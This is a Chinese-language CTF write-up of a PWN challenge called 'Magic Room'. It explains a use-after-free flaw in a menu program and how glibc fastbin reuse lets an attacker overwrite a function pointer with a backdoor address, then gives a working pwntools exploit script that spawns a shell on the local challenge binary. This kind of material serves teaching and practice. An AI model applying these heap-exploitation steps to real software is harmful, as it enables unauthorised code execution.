复现一下上周末“网鼎杯”朱雀组中PWN 题——魔法房间。本题主要考察堆溢出中的UAF(Use After Free)漏洞,是经典的“菜单题”。
参考CTF-wiki,简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
运行程序查看流程,出现一个菜单,主要有4个功能:learn magic、forget magic、use magic、leave。
其中learn magic就是新申请一个16字节的结构体,结构如下:
typedef struct magic {
char *buf; //内容指针
void *func; //函数指针
} magic;
forget magic 是释放一个结构体,use magic 是将结构体中的内容打印出来,leave是退出程序。
查看一下程序的保护机制,64位程序,开启了Canary和NX。逆向程序,代码审计,发现在forget magic功能处free结构体后,没有将指针设置为NULL,存在UAF漏洞:
同时,程序存在一个后门函数,所以我们的思路就是如何利用UAF漏洞去调用后门函数即可。
由于程序中的use magic功能是通过函数指针的方式进行利用,所以我们需要将结构体中的函数指针修改为后门函数,然后再调用即可。
接下来就是如何利用UAF漏洞,构造我们需要的情况了。思路如下:
我们首先申请两块内容为0x20大小的内存(调用两次learn magic 功能,大小均设置为0x20)。按照程序逻辑,程序会分别申请0x10大小的结构体指针和0x20大小的内存块保存用户输入,index 分别为index 0 和index 1。
接着,我们先后free掉 index 1和index 0,此时,按照glibc 中的堆内存分配机制,在fastbin结构中, fastbin[0]和fastbin[1]中将分别保存2个0x20和0x30的 free chunk(fastbin的大小加上了chunk header的大小0x10)。
然后,我们再申请0x10大小的内存(调用learn magic 功能,大小设置为0x10),按照glibc堆内存的管理机制,会将fastbin[0]中的两个0x20的free chunk (两个原先的magic结构体)分配给用户,按照fastbin “先进后出”的原则,此时我们的输入就可以修改原先index 1中的函数指针内容。我们将原先index 1中的函数指针修改为后门函数的地址,由于存在UAF漏洞,这时再调用index 1的函数指针(调用use magic功能,index 输入1),就可以拿到程序的shell。
动态调试验证一下我们思路,我们首先申请两个0x20的内存,然后依次free,此时fastbin 结构中的情况如下:
我们再申请0x10大小的内存,fastbin 结构中的情况如下:
可以看到,glibc果然将fastbin[0]中的两个free chunk 分配给了用户,我们在申请的内存中写入“aaaaaaaaaaaaaaaa”,在内存中查看情况:
和我们预想的一样,我们将原先index 1的函数指针和内容指针都修改成为0x6161616161616161,由于存在UAF漏洞,如果此时我们调用原先的index 1中的函数指针,程序的RIP就会变为0x6161616161616161,由于该地址不合法,程序就会报错:
此时,我们已经控制了程序的执行流,就可以编写exp了。
from pwn import *
context.log_level="debug"
r = process('./magic')
def learn(size, content):
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def forget(index):
r.recvuntil("choice :")
r.sendline('2')
r.recvuntil("index :")
r.sendline(str(index))
def use(index):
r.recvuntil("choice :")
r.sendline('3')
r.recvuntil("index :")
r.sendline(str(index))
system = 0x400A0D
learn(0x20, 'a')
learn(0x20, 'b')
forget(1)
forget(0)
payload = p64(0) + p64(system)
learn(0x10, payload)
use(1)
r.interactive()